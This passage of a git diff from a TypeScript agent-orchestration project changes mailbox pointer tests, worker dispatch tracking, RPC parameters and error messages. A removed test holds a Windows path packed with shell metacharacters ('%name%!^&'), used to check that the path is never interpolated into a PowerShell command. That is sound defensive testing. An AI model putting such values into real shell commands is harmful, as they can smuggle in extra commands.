() => false, isPtyAwaitingUserInput: () => false, writePty: vi.fn(settledWriteStub()), @@ -537,4 +531,151 @@ describe('orchestration mailbox pointer submit', () => { ) expect(releaseMailboxPointerEnter).not.toHaveBeenCalled() }) + + describe('a pointer whose mail a check read before Enter', () => { + function submitAfterRead( + options: { + absent?: boolean + replaced?: boolean + shellInFront?: boolean + dialogOpen?: boolean + } = {} + ) { + const db = new OrchestrationDb(':memory:') + const message = db.insertMessage({ + runId: 'run_legacy_local', + from: 'a', + to: 'run:run-1', + subject: 'read by check' + }) + const ptyId = 'pty-read' + const reservation = { ptyId, processIncarnation: 'inc-read' } + const terminal = { + ptyId, + handle: 'term-read', + paneKeys: ['tab-1:leaf-1'], + lastAgentStatus: options.shellInFront ? null : ('idle' as const), + lastAgentStatusObservedLive: !options.shellInFront + } + const expectedTarget = { terminal, processIncarnation: reservation.processIncarnation } + const state = new OrchestrationMailboxPointerState() + const flight = state.beginFlight(ptyId) + state.setWatermark('run:run-1', 1, ptyId) + expect(db.stageMailboxPointerEnter([message.id], reservation)).toBe(true) + expect(db.markMailboxPointerWriteAttempted([message.id], reservation)).toBe(true) + db.markAsRead([message.id]) + const writePty = vi.fn(settledWriteStub()) + const settle = vi.fn(() => state.settleFlight(ptyId, flight)) + submitOrchestrationMailboxPointer( + { + mailboxOwner: { resolve: () => 'run:run-1' } as never, + state, + getDb: () => db, + resolveSubmitTarget: () => + options.replaced ? { terminal, processIncarnation: 'inc-replaced' } : expectedTarget, + isLeafPtyProvenAbsent: async () => options.absent ?? false, + isPtyAwaitingUserInput: () => options.dialogOpen ?? false, + writePty, + settle, + redrive: vi.fn() + }, + { + mailboxHandle: 'run:run-1', + messages: [{ id: message.id, type: 'status' }], + newestSequence: 1, + ptyId, + flight, + expectedTarget + } + ) + return { db, message, writePty, settle, flight } + } + + it('still sends exactly one Enter and records the pointer as delivered', async () => { + const { db, message, writePty, settle } = submitAfterRead() + + await vi.waitFor(() => expect(settle).toHaveBeenCalledOnce()) + expect(writePty.mock.calls).toEqual([['pty-read', '\r']]) + expect(db.getMessageById(message.id)).toMatchObject({ + read: 1, + delivered_at: expect.any(String), + pointer_enter_pending: 0 + }) + db.close() + }) + + it.each([ + ['the PTY is gone', { absent: true }], + ['the process was replaced', { replaced: true }], + ['a shell is in front', { shellInFront: true }] + ])('sends no Enter when %s', async (_name, options) => { + const { db, writePty, settle } = submitAfterRead(options) + + await vi.waitFor(() => expect(settle).toHaveBeenCalledOnce()) + expect(writePty).not.toHaveBeenCalled() + db.close() + }) + + it('defers the Enter while a dialog is open', async () => { + const { db, writePty, settle, flight } = submitAfterRead({ dialogOpen: true }) + + await vi.waitFor(() => expect(flight.deferredUntilIdle).toBe(true)) + expect(writePty).not.toHaveBeenCalled() + expect(settle).not.toHaveBeenCalled() + db.close() + }) + }) + + it('sends no second Enter for unread mail whose Enter was already attempted', async () => { + const db = new OrchestrationDb(':memory:') + const message = db.insertMessage({ + runId: 'run_legacy_local', + from: 'a', + to: 'run:run-1', + subject: 'already entered' + }) + const ptyId = 'pty-entered' + const reservation = { ptyId, processIncarnation: 'inc-entered' } + const terminal = { + ptyId, + handle: 'term-entered', + paneKeys: ['tab-1:leaf-1'], + lastAgentStatus: 'idle' as const, + lastAgentStatusObservedLive: true + } + const expectedTarget = { terminal, processIncarnation: reservation.processIncarnation } + const state = new OrchestrationMailboxPointerState() + const flight = state.beginFlight(ptyId) + expect(db.stageMailboxPointerEnter([message.id], reservation)).toBe(true) + expect(db.markMailboxPointerWriteAttempted([message.id], reservation)).toBe(true) + expect(db.markMailboxPointerEnterAttempted([message.id], reservation)).toBe(true) + const writePty = vi.fn(settledWriteStub()) + const settle = vi.fn(() => state.settleFlight(ptyId, flight)) + + submitOrchestrationMailboxPointer( + { + mailboxOwner: { resolve: () => 'run:run-1' } as never, + state, + getDb: () => db, + resolveSubmitTarget: () => expectedTarget, + isLeafPtyProvenAbsent: async () => false, + isPtyAwaitingUserInput: () => false, + writePty, + settle, + redrive: vi.fn() + }, + { + mailboxHandle: 'run:run-1', + messages: [{ id: message.id, type: 'status' }], + newestSequence: 1, + ptyId, + flight, + expectedTarget + } + ) + + await vi.waitFor(() => expect(settle).toHaveBeenCalledOnce()) + expect(writePty).not.toHaveBeenCalled() + db.close() + }) }) diff --git a/src/main/runtime/orchestration/mailbox-pointer-submit.ts b/src/main/runtime/orchestration/mailbox-pointer-submit.ts index 7453e9044a2..f11a28dd2f6 100644 --- a/src/main/runtime/orchestration/mailbox-pointer-submit.ts +++ b/src/main/runtime/orchestration/mailbox-pointer-submit.ts @@ -3,10 +3,6 @@ import { MAILBOX_POINTER_ENTER_ATTEMPTED, MAILBOX_POINTER_WRITE_ATTEMPTED } from './db/messages/mailbox-pointer-enter-state' -import { - shouldReleaseOrchestrationPointer, - type OrchestrationMessageWaiter -} from './mailbox-pointer-eligibility' import { isMailboxTerminalTakingInput, type OrchestrationMailboxOwner, @@ -18,12 +14,11 @@ import type { } from './mailbox-pointer-state' import type { WriteSettlement } from '../../../shared/pty-write-settlement' -type PointerSubmitDependencies = { +type PointerSubmitDependencies = { mailboxOwner: OrchestrationMailboxOwner state: OrchestrationMailboxPointerState getDb: () => OrchestrationDb | null resolveSubmitTarget: (ptyId: string) => OrchestrationMailboxPointerSubmitTarget | null - getMessageWaiters: (mailboxHandle: string) => ReadonlySet | undefined isLeafPtyProvenAbsent: (ptyId: string) => Promise isPtyAwaitingUserInput: (ptyId: string) => boolean writePty: (ptyId: string, data: string) => WriteSettlement | Promise @@ -36,8 +31,8 @@ export type OrchestrationMailboxPointerSubmitTarget = { processIncarnation: string } -export function submitOrchestrationMailboxPointer( - deps: PointerSubmitDependencies, +export function submitOrchestrationMailboxPointer( + deps: PointerSubmitDependencies, input: { mailboxHandle: string messages: readonly { id: string; type: string }[] @@ -94,32 +89,23 @@ export function submitOrchestrationMailboxPointer { const v30 = new Database(dbPath) v30.exec(DROP_REMOVED_WORK_TRIGGERS_SQL) v30.exec( - 'DROP INDEX IF EXISTS idx_dispatch_retry_of; DROP INDEX IF EXISTS idx_dispatch_resource;' + 'DROP INDEX IF EXISTS idx_dispatch_retry_of; DROP INDEX IF EXISTS idx_dispatch_resource; DROP INDEX IF EXISTS idx_dispatch_creator_mailbox_work;' ) for (const column of DISPATCH_IDENTITY_COLUMNS) { v30.exec(`ALTER TABLE dispatch_contexts DROP COLUMN ${column}`) diff --git a/src/main/runtime/orchestration/setup-completion-signal.test.ts b/src/main/runtime/orchestration/setup-completion-signal.test.ts index 5ac0ffab54f..03dc5c39013 100644 --- a/src/main/runtime/orchestration/setup-completion-signal.test.ts +++ b/src/main/runtime/orchestration/setup-completion-signal.test.ts @@ -1,83 +1,7 @@ import { describe, expect, it, vi } from 'vitest' -import { buildObservedSetupCommand, createSetupCompletionScanner } from './setup-completion-signal' +import { createSetupCompletionScanner } from './setup-completion-signal' describe('orchestration setup completion signal', () => { - it('preserves a POSIX setup exit code in a visible completion signal', () => { - const { command } = buildObservedSetupCommand( - '/repo/.git/orca/setup-runner.sh', - 'posix', - 'token-posix' - ) - - expect(command).toContain('bash /repo/.git/orca/setup-runner.sh') - expect(command).toContain('__ORCA_SETUP_COMPLETE__:token-posix:%s\\n') - expect(command).toContain('"$status"') - expect(command).toContain('exit "$status"') - // Pair-inserting line editors (zsh-autopair) corrupt typed brackets (#18059). - expect(command).not.toMatch(/[()[\]{}]/) - }) - - it('preserves a native Windows setup path and exit code without shell interpolation', () => { - const runnerPath = 'C:\\repo %name%!^&\\.git\\orca\\setup-runner.cmd' - const observed = buildObservedSetupCommand(runnerPath, 'windows', 'token-windows') - const encodedCommand = observed.command.split(' ').at(-1) - const script = Buffer.from(encodedCommand ?? '', 'base64').toString('utf16le') - - expect(observed.command).toContain('powershell.exe -NoLogo -NoProfile -NonInteractive') - expect(observed.env).toEqual({ ORCA_SETUP_RUNNER_PATH: runnerPath }) - expect(script).toContain('& $runner') - expect(script).toContain('__ORCA_SETUP_COMPLETE__:token-windows:') - expect(script).toContain('exit $status') - expect(script).not.toContain(runnerPath) - }) - - it('keeps a WSL runner on the POSIX completion path', () => { - const { command } = buildObservedSetupCommand( - '\\\\wsl.localhost\\Ubuntu\\repo\\.git\\orca\\setup-runner.sh', - 'windows', - 'token-wsl' - ) - - expect(command).toContain('bash /repo/.git/orca/setup-runner.sh') - expect(command).toContain('__ORCA_SETUP_COMPLETE__:token-wsl:%s\\n') - expect(command).toContain('exit "$status"') - }) - - it('routes a WSL-launched Windows-drive runner through its /mnt mount', () => { - const { command } = buildObservedSetupCommand( - 'C:\\repo\\.git\\orca\\setup-runner.sh', - 'windows', - 'token-mnt', - { family: 'posix', executable: 'wsl.exe' } - ) - - expect(command).toContain('bash /mnt/c/repo/.git/orca/setup-runner.sh') - expect(command).not.toContain('bash /c/repo') - }) - - it('keeps a Git Bash runner on the MSYS drive form', () => { - const { command } = buildObservedSetupCommand( - 'C:\\repo\\.git\\orca\\setup-runner.sh', - 'windows', - 'token-git-bash', - { family: 'posix' } - ) - - expect(command).toContain('bash /c/repo/.git/orca/setup-runner.sh') - }) - - it('keeps a batch runner on the Windows completion path from a Git Bash pane', () => { - // Batch setup still uses a .cmd runner under Git Bash; never type bare cmd.exe /c or observe it through bash (#6896). - const runnerPath = 'C:\\repo\\.git\\orca\\setup-runner.cmd' - const observed = buildObservedSetupCommand(runnerPath, 'windows', 'token-git-bash-cmd', { - family: 'posix' - }) - - expect(observed.command).toContain('powershell.exe -NoLogo -NoProfile -NonInteractive') - expect(observed.command).not.toContain('bash ') - expect(observed.env).toEqual({ ORCA_SETUP_RUNNER_PATH: runnerPath }) - }) - it('recognizes one completion signal across output chunk boundaries', () => { const onComplete = vi.fn() const scanner = createSetupCompletionScanner('token-chunks', onComplete) diff --git a/src/main/runtime/orchestration/structured-parent-account-work.ts b/src/main/runtime/orchestration/structured-parent-account-work.ts new file mode 100644 index 00000000000..e1cd8731b72 --- /dev/null +++ b/src/main/runtime/orchestration/structured-parent-account-work.ts @@ -0,0 +1,154 @@ +import { structuredWorkerAddressable } from '../structured-worker-custody' +import { isOrcaSessionId } from '../../../shared/orca-session-address' +import type { AgentSessionRecord } from '../../../shared/agent-session-record' +import type { OrchestrationDb } from './db' +import { currentRunCoordinatorOrcaSessionId } from './db/runs/run-coordinator-orca-session' +import { dispatchReportMailbox } from './dispatch-report-mailbox' +import { + addressableSessionParty, + structuredSessionMailReach +} from './structured-session-mail-address' +import type { AgentSessionRecordReader } from './structured-session-lineage' + +export type NativeResponseEvidence = { pending: Iterable; disposed: ReadonlySet } + +/** Current canonical recipients own future reports; original creator provenance does not. */ +export function structuredParentAccountWork( + db: OrchestrationDb | null, + record: AgentSessionRecord, + root: string, + response: NativeResponseEvidence, + reader: AgentSessionRecordReader +): boolean { + if (!db || !isOrcaSessionId(root)) { + return false + } + const original = reader.getRecord(root) + const reach = original && structuredSessionMailReach(reader, original, db, reader) + if (!reach || reach.kind !== 'reachable' || reach.session.sessionId !== record.sessionId) { + return false + } + const party = addressableSessionParty(root, db, reader) + if (!party) { + return false + } + if ( + party.terminalHandle && + !structuredWorkerAddressable( + db, + { + sessionId: reach.session.sessionId, + record: reach.session, + lineage: reader.listRecords().map((item) => item.sessionId) + }, + db.getWorkerTerminalResourceByHandle(party.terminalHandle), + { + getPersistedVisibleSessionTabIndex: () => + reader.getVisibleSessionTabIndex?.() ?? { present: false, sessionIds: [] } + } + ) + ) { + return false + } + const mailboxes = new Map() + const runs = new Set() + const dispatches = new Set() + const add = (runId: string, mailbox: string) => { + mailboxes.set(`${runId}\0${mailbox}`, { runId, mailbox }) + } + const runCandidates = db.db + .prepare(`SELECT id FROM runs WHERE coordinator_orca_session_id = ? + UNION SELECT id FROM runs WHERE coordinator_handle = ?`) + .all(root, party.terminalHandle) + for (const run of party.paneKey ? db.runsBoundToPane(party.paneKey) : []) { + runCandidates.push({ id: run.id }) + } + for (const candidate of runCandidates) { + if (typeof candidate.id !== 'string') { + continue + } + const run = db.getRunRaw(candidate.id) + if ( + run && + (run.coordinator_handle !== null + ? run.coordinator_handle === party.terminalHandle + : currentRunCoordinatorOrcaSessionId(run) === root) + ) { + runs.add(run.id) + add(run.id, `run:${run.id}`) + } + } + const assigned = db.db + .prepare(`SELECT id FROM dispatch_contexts + WHERE assignee_orca_session_id = ? AND status IN ('pending', 'dispatched') + UNION SELECT id FROM dispatch_contexts WHERE assignee_handle = ? AND status IN ('pending', 'dispatched')`) + .all(root, party.address) + for (const candidate of assigned) { + if (typeof candidate.id !== 'string') { + continue + } + const dispatch = db.getDispatchContextById(candidate.id) + if (dispatch?.assignee_handle === party.address) { + dispatches.add(dispatch.id) + add(dispatch.run_id, `dispatch:${dispatch.id}`) + } + } + const candidates = new Set() + const byRun = db.db.prepare( + `SELECT id FROM dispatch_contexts WHERE run_id = ? AND status IN ('pending', 'dispatched')` + ) + const byCreator = db.db.prepare( + `SELECT id FROM dispatch_contexts WHERE creator_dispatch_id = ? AND status IN ('pending', 'dispatched')` + ) + for (const rows of [ + ...Array.from(runs, (id) => byRun.all(id)), + ...Array.from(dispatches, (id) => byCreator.all(id)) + ]) { + for (const row of rows) { + if (typeof row.id === 'string') { + candidates.add(row.id) + } + } + } + for (const id of candidates) { + const dispatch = db.getDispatchContextById(id) + if (dispatch && mailboxes.has(`${dispatch.run_id}\0${dispatchReportMailbox(db, dispatch)}`)) { + return true + } + } + const unread = db.db.prepare(`SELECT id FROM messages WHERE run_id = ? AND to_handle = ? + AND type = 'worker_done' AND read = 0 AND delivered_at IS NULL AND delivery_contract <> 'audit_only'`) + const direct = db.db.prepare(`SELECT id FROM messages WHERE to_handle = ? + AND type = 'worker_done' AND read = 0 AND delivered_at IS NULL AND delivery_contract <> 'audit_only'`) + const exact = db.db + .prepare(`SELECT run_id, to_handle FROM messages WHERE id = ? AND type = 'worker_done' + AND delivery_contract <> 'audit_only'`) + for (const { runId, mailbox } of mailboxes.values()) { + if ( + unread + .all(runId, mailbox) + .some((message) => typeof message.id === 'string' && !response.disposed.has(message.id)) + ) { + return true + } + } + if ( + direct + .all(party.address) + .some((message) => typeof message.id === 'string' && !response.disposed.has(message.id)) + ) { + return true + } + // Acknowledgement does not dispose a response already accepted by the current recipient. + for (const id of response.pending) { + const message = exact.get(id) + if ( + message && + (message.to_handle === party.address || + mailboxes.has(`${String(message.run_id)}\0${String(message.to_handle)}`)) + ) { + return true + } + } + return false +} diff --git a/src/main/runtime/orchestration/structured-session-mail-target.test.ts b/src/main/runtime/orchestration/structured-session-mail-target.test.ts index d78b87d9bc9..db078200681 100644 --- a/src/main/runtime/orchestration/structured-session-mail-target.test.ts +++ b/src/main/runtime/orchestration/structured-session-mail-target.test.ts @@ -250,6 +250,7 @@ describe('the idle edge after a restart, before any orchestration call', () => { _orchestrationDb: null, ensureOrchestrationFederationRelay: vi.fn(), scheduleRestoredMessageRepoints: vi.fn(), + continueRestoredWorkerMail: vi.fn(), deliverPendingMessagesForHandle: (handle: string) => delivered.push(handle), notifyStructuredSessionJournalActivity: vi.fn() }) diff --git a/src/main/runtime/orchestration/structured-worker-journal-page.test.ts b/src/main/runtime/orchestration/structured-worker-journal-page.test.ts index b6e580fc77e..12c7725ea69 100644 --- a/src/main/runtime/orchestration/structured-worker-journal-page.test.ts +++ b/src/main/runtime/orchestration/structured-worker-journal-page.test.ts @@ -94,7 +94,21 @@ describe("a worker's journal page", () => { await append(`child-${index}`, subagent) } + const before = await readStructuredJournalPage('session-1') + await host.journal!.close() + host.journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'ws-1', + hostId: 'host-1', + agent: 'claude', + providerHandle: claudeProviderHandle('claude-1', null) + }, + stateDirectory: root, + now: () => ++clock + }) const page = await readStructuredJournalPage('session-1') + expect(page).toStrictEqual(before) expect(page?.items.map((item) => item.body)).toEqual([ said('worker-older'), diff --git a/src/main/runtime/orchestration/types.ts b/src/main/runtime/orchestration/types.ts index f231b9cadfa..321aa554091 100644 --- a/src/main/runtime/orchestration/types.ts +++ b/src/main/runtime/orchestration/types.ts @@ -318,6 +318,10 @@ export type DispatchContextRow = { completed_at: string | null created_at: string last_heartbeat_at: string | null + /** The settled Dispatch whose worker this follow-up continues. */ + follow_up_of_dispatch_id: string | null + /** When its worker reported with coordinator mail unread, until that mail continues it. */ + follow_up_mail_at: string | null } export type DecisionGateRow = { diff --git a/src/main/runtime/orchestration/worker-terminal-ownership.ts b/src/main/runtime/orchestration/worker-terminal-ownership.ts index 1b52d8a3bc0..3c8cd496666 100644 --- a/src/main/runtime/orchestration/worker-terminal-ownership.ts +++ b/src/main/runtime/orchestration/worker-terminal-ownership.ts @@ -56,6 +56,8 @@ export type WorkerTerminalResourceRow = { auto_release_dispatch_id: string | null created_at: string updated_at: string + /** JSON WorkerResumeSession: the conversation a closed terminal worker reopens in. */ + resume_session: string | null } // Terminal state exposed by worker-list; process accounting, never Task/Dispatch outcome. diff --git a/src/main/runtime/pty-shell-ownership-mirror.ts b/src/main/runtime/pty-shell-ownership-mirror.ts index 6843fbee120..6a78e5dd8a3 100644 --- a/src/main/runtime/pty-shell-ownership-mirror.ts +++ b/src/main/runtime/pty-shell-ownership-mirror.ts @@ -43,6 +43,13 @@ export class PtyShellOwnershipMirror { return this.scanner.owner } + /** Consume the marker hint: true at most once per clean prompt cycle. */ + claimIdlePrompt(): boolean { + const idle = this.scanner.isIdleAtPrompt + this.scanner.forgetIdlePrompt() + return idle + } + seedOwner(owner: TerminalOwner | undefined, opts: { alternateScreen?: boolean } = {}): void { this.scanner.seedOwner(owner, opts) } diff --git a/src/main/runtime/remote-runtime-request-connection.integration.test.ts b/src/main/runtime/remote-runtime-request-connection.integration.test.ts index 4c11d06a20f..8bfa43c9c18 100644 --- a/src/main/runtime/remote-runtime-request-connection.integration.test.ts +++ b/src/main/runtime/remote-runtime-request-connection.integration.test.ts @@ -117,6 +117,7 @@ describe('remote runtime request connection integration', () => { ] const clientEventListeners = new Set<(event: RuntimeClientEvent) => void>() const subscriptionCleanups = new Map void>() + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this socket fixture implements every runtime method used by client-events subscribe and repo.list. const runtime = { configureNotificationDismissalStore: () => {}, getRuntimeId: () => 'events-runtime-test', @@ -143,6 +144,7 @@ describe('remote runtime request connection integration', () => { } return repo }, + getClientSettings: () => ({ nativeChatQueueFollowUps: false }), onClientEvent: (listener: (event: RuntimeClientEvent) => void) => { clientEventListeners.add(listener) return () => clientEventListeners.delete(listener) @@ -284,6 +286,7 @@ describe('remote runtime request connection integration', () => { listener(event) } } + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: this sleep socket fixture implements every runtime method reached by its subscriptions and list requests. const runtime = { configureNotificationDismissalStore: () => {}, getRuntimeId: () => 'remote-sleep-runtime-test', @@ -304,6 +307,7 @@ describe('remote runtime request connection integration', () => { subscriptionCleanups.delete(id) }, onClientDisconnected: () => {}, + getClientSettings: () => ({ nativeChatQueueFollowUps: false }), onClientEvent: (listener: (event: RuntimeClientEvent) => void) => { clientEventListeners.add(listener) return () => clientEventListeners.delete(listener) @@ -551,6 +555,7 @@ describe('remote runtime request connection integration', () => { } }, onClientDisconnected: () => {}, + getClientSettings: () => ({ nativeChatQueueFollowUps: false }), onClientEvent: (listener: (event: RuntimeClientEvent) => void) => { clientEventListeners.add(listener) return () => clientEventListeners.delete(listener) diff --git a/src/main/runtime/restored-pane-hook-store-resume.test.ts b/src/main/runtime/restored-pane-hook-store-resume.test.ts index 770700c32e9..7ad510307df 100644 --- a/src/main/runtime/restored-pane-hook-store-resume.test.ts +++ b/src/main/runtime/restored-pane-hook-store-resume.test.ts @@ -87,13 +87,6 @@ async function restore(runtime: InstanceType): Promis } describe('restoring a pane its host recorded an agent in', () => { - it('resumes the hook store’s conversation instead of replaying the launch command', async () => { - const { runtime, spawn } = makeRuntime([codexRow()], 'codex') - await restore(runtime) - expect(spawn).toHaveBeenCalledOnce() - expect(spawn.mock.calls[0]![0].command).toMatch(RESUMES) - }) - it('resumes an agent typed into a shell, which no launch command names', async () => { const { runtime, spawn } = makeRuntime([codexRow()]) await restore(runtime) @@ -159,22 +152,6 @@ describe('restoring a pane its host recorded an agent in', () => { expectFreshLaunch(spawn.mock.calls[0]![0].command) }) - it('launches the tab’s agent fresh when another pane holds the conversation live', async () => { - const otherPaneKey = 'other-tab:44444444-4444-4444-8444-444444444444' - const { runtime, spawn } = makeRuntime( - [codexRow(), codexRow({ paneKey: otherPaneKey })], - 'codex', - { presence: 'live' } - ) - vi.spyOn( - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the runtime's protected paneHoldsSession; the other pane stands in for a bound live terminal. - runtime as unknown as { paneHoldsSession: (paneKey: string) => boolean }, - 'paneHoldsSession' - ).mockImplementation((paneKey) => paneKey === otherPaneKey) - await restore(runtime) - expectFreshLaunch(spawn.mock.calls[0]![0].command) - }) - it('falls back to the tab’s agent launch when the newest row is a structured host’s', async () => { const { runtime, spawn } = makeRuntime([codexRow({ structuredHost: 'owned' })], 'codex') await restore(runtime) diff --git a/src/main/runtime/rpc/methods/ai-vault-structured-ownership.test.ts b/src/main/runtime/rpc/methods/ai-vault-structured-ownership.test.ts index 51e9c8606d3..9024de9ecac 100644 --- a/src/main/runtime/rpc/methods/ai-vault-structured-ownership.test.ts +++ b/src/main/runtime/rpc/methods/ai-vault-structured-ownership.test.ts @@ -22,9 +22,15 @@ it('projects the serving record before returning paired-host row identity', asyn record.providerHandleChain = [ { ...record.providerHandleChain[0]!, handle: claudeProviderHandle('provider-session', null) } ] - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ownership projection only reads this record-list member. + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ownership projection reads only `listConversations`, `getRecord` and `hostId`. setStructuredAgentSessionHost({ - deps: { store: { listConversations: () => [agentSessionConversationView(record)] } } + deps: { + store: { + hostId: 'local', + getRecord: (sessionId: string) => (sessionId === record.sessionId ? record : null), + listConversations: () => [agentSessionConversationView(record)] + } + } } as never) const row: AiVaultSession = { id: 'local:claude:provider-session', @@ -94,9 +100,15 @@ it('owns indexed search hits only for a client that can open the native chat', a record.providerHandleChain = [ { ...record.providerHandleChain[0]!, handle: claudeProviderHandle('provider-session', null) } ] - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ownership projection only reads this record-list member. + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: ownership projection reads only `listConversations`, `getRecord` and `hostId`. setStructuredAgentSessionHost({ - deps: { store: { listConversations: () => [agentSessionConversationView(record)] } } + deps: { + store: { + hostId: 'local', + getRecord: (sessionId: string) => (sessionId === record.sessionId ? record : null), + listConversations: () => [agentSessionConversationView(record)] + } + } } as never) const hit = { agent: 'claude' as const, diff --git a/src/main/runtime/rpc/methods/client-events.ts b/src/main/runtime/rpc/methods/client-events.ts index dca46e04334..3e683ebb936 100644 --- a/src/main/runtime/rpc/methods/client-events.ts +++ b/src/main/runtime/rpc/methods/client-events.ts @@ -48,7 +48,14 @@ export const CLIENT_EVENT_METHODS = [ return state ? [{ targetId: target.id, state }] : [] }) // Listen before snapshotting to close reload gaps without exposing HUB-private target configuration. - emit({ type: 'ready', subscriptionId, snapshot: { sshStates } }) + emit({ + type: 'ready', + subscriptionId, + snapshot: { + sshStates, + nativeChatQueueFollowUps: runtime.getClientSettings().nativeChatQueueFollowUps + } + }) }) } }), diff --git a/src/main/runtime/rpc/methods/hosted-review.test.ts b/src/main/runtime/rpc/methods/hosted-review.test.ts index 33c76089707..4b0e7edb0d0 100644 --- a/src/main/runtime/rpc/methods/hosted-review.test.ts +++ b/src/main/runtime/rpc/methods/hosted-review.test.ts @@ -1,3 +1,6 @@ +import { z } from 'zod' +import { requiredString } from '../../../../shared/rpc-contract/rpc-param-primitives' +import { OptionalGitAdmissionTier } from '../../../../shared/rpc-contract/git-admission-tier-params' import '../unused-default-rpc-methods.test-fixture' import { describe, expect, it, vi } from 'vitest' import { RpcDispatcher } from '../dispatcher' @@ -5,11 +8,49 @@ import type { RpcRequest } from '../core' import type { OrcaRuntimeService } from '../../orca-runtime' import { HOSTED_REVIEW_METHODS } from './hosted-review' +// Shipped pre-force host schema at 9905765e3b8; unknown intent must remain ignorable. +const preForceHostParams = z.object({ + repo: requiredString('Missing repo selector'), + branch: requiredString('Missing branch'), + admissionTier: OptionalGitAdmissionTier, + currentHeadOid: z.string().nullable().optional(), + // Only the caller's selected worktree; the host caps how many earn the fast tier. + active: z.boolean().optional(), + linkedGitHubPR: z.number().int().positive().nullable().optional(), + fallbackGitHubPR: z.number().int().positive().nullable().optional(), + linkedGitLabMR: z.number().int().positive().nullable().optional(), + linkedBitbucketPR: z.number().int().positive().nullable().optional(), + linkedAzureDevOpsPR: z.number().int().positive().nullable().optional(), + linkedGiteaPR: z.number().int().positive().nullable().optional() +}) + function makeRequest(method: string, params?: unknown): RpcRequest { return { id: 'req-1', authToken: 'tok', method, params } } describe('hosted review RPC methods', () => { + it('keeps the same operation callable on hosts before intent and before force forwarding', () => { + const request = { + repo: '/repo', + branch: 'feature', + force: true, + userRefresh: true, + linkedGitLabMR: 7 + } + expect(preForceHostParams.parse(request)).toEqual({ + repo: '/repo', + branch: 'feature', + linkedGitLabMR: 7 + }) + const preIntentHostParams = preForceHostParams.extend({ force: z.boolean().optional() }) + expect(preIntentHostParams.parse(request)).toEqual({ + repo: '/repo', + branch: 'feature', + force: true, + linkedGitLabMR: 7 + }) + }) + it('fetches branch review status on the runtime server', async () => { const runtime = { getRuntimeId: () => 'test-runtime', @@ -50,7 +91,7 @@ describe('hosted review RPC methods', () => { }) }) - it('carries a selected-worktree claim and explicit refresh through to the runtime', async () => { + it('carries a selected-worktree claim, explicit refresh and outcome request through to the runtime', async () => { const runtime = { getRuntimeId: () => 'test-runtime', getHostedReviewForBranch: vi.fn().mockResolvedValue(null) @@ -62,13 +103,20 @@ describe('hosted review RPC methods', () => { repo: '/repo', branch: 'feature/selected', active: true, - force: true + force: true, + userRefresh: true, + reportReadOutcome: true }) ) // Mobile PR sidebar refresh must bypass card-list pacing to discover reviews opened elsewhere (#11532). expect(runtime.getHostedReviewForBranch).toHaveBeenCalledWith( - expect.objectContaining({ active: true, force: true }) + expect.objectContaining({ + active: true, + force: true, + userRefresh: true, + reportReadOutcome: true + }) ) }) diff --git a/src/main/runtime/rpc/methods/hosted-review.ts b/src/main/runtime/rpc/methods/hosted-review.ts index 1b177ea4ced..df1878fdbbf 100644 --- a/src/main/runtime/rpc/methods/hosted-review.ts +++ b/src/main/runtime/rpc/methods/hosted-review.ts @@ -22,6 +22,8 @@ export const HOSTED_REVIEW_METHODS = [ currentHeadOid: params.currentHeadOid ?? null, ...(params.active === true ? { active: true } : {}), ...(params.force === true ? { force: true } : {}), + ...(params.userRefresh === true ? { userRefresh: true } : {}), + ...(params.reportReadOutcome === true ? { reportReadOutcome: true } : {}), linkedGitHubPR: params.linkedGitHubPR ?? null, ...(fallbackGitHubPR !== null ? { fallbackGitHubPR } : {}), linkedGitLabMR: params.linkedGitLabMR ?? null, diff --git a/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts b/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts index e579d6ca8d2..847131c394f 100644 --- a/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts +++ b/src/main/runtime/rpc/methods/orchestration/federation/federated-worker-show.ts @@ -1,12 +1,12 @@ import type { OrchestrationFleetWorker } from '../../../../../../shared/orchestration-fleet-projection' import type { OrchestrationDb } from '../../../../orchestration/db' +import { exposeDispatchContext } from '../worker/dispatch-context-exposure' import { OrchestrationError } from '../../../../orchestration/orchestration-error' import { liveFederatedHomeAutoReleaseAt } from '../../../../orchestration/worker-terminal-ownership' import type { DispatchContextRow, FederatedDispatchRow } from '../../../../orchestration/types' import type { OrcaRuntimeService } from '../../../../orca-runtime' import { callFederatedWorkerShow, - exposeDispatchContext, exposeFederatedWorkerObservation, exposeWorker, projectFleetWorkerPage, diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts b/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts index d77a436669d..0b207146898 100644 --- a/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts +++ b/src/main/runtime/rpc/methods/orchestration/messaging/send-control-mail.ts @@ -46,10 +46,15 @@ export function sendFederatedControlMail(args: { `Federated Dispatch ${dispatchId} does not support coordinator control mail; start a fresh worker after updating its Orca server.` ) } - if (db.getWorkerDispatch(dispatchId)?.state !== 'ready') { + const state = db.getWorkerDispatch(dispatchId)?.state + if (state !== 'ready') { + const server = federatedTarget.environment_name + // Paired servers cannot continue a finished worker yet; steering a running one still works. throw new OrchestrationError( 'dispatch_inactive', - `Federated Dispatch ${dispatchId} is not active.` + state && ['succeeded', 'failed', 'stopped', 'abandoned'].includes(state) + ? `Dispatch ${dispatchId} finished on ${server}, which cannot take follow-ups for finished workers yet. Start a new worker there with \`orca orchestration worker-start --on ${server}\`.` + : `Dispatch ${dispatchId} on ${server} is not confirmed running (${state ?? 'unknown'}), so this message was not sent. Check it with \`orca orchestration worker-show --dispatch ${dispatchId}\` before starting another worker.` ) } if (params.type === 'worker_done' || params.type === 'heartbeat') { diff --git a/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts b/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts index cfa98e82e3f..0ba04050433 100644 --- a/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts +++ b/src/main/runtime/rpc/methods/orchestration/messaging/send-methods.ts @@ -33,6 +33,12 @@ import { sendGroupMessage } from './send-group' import { 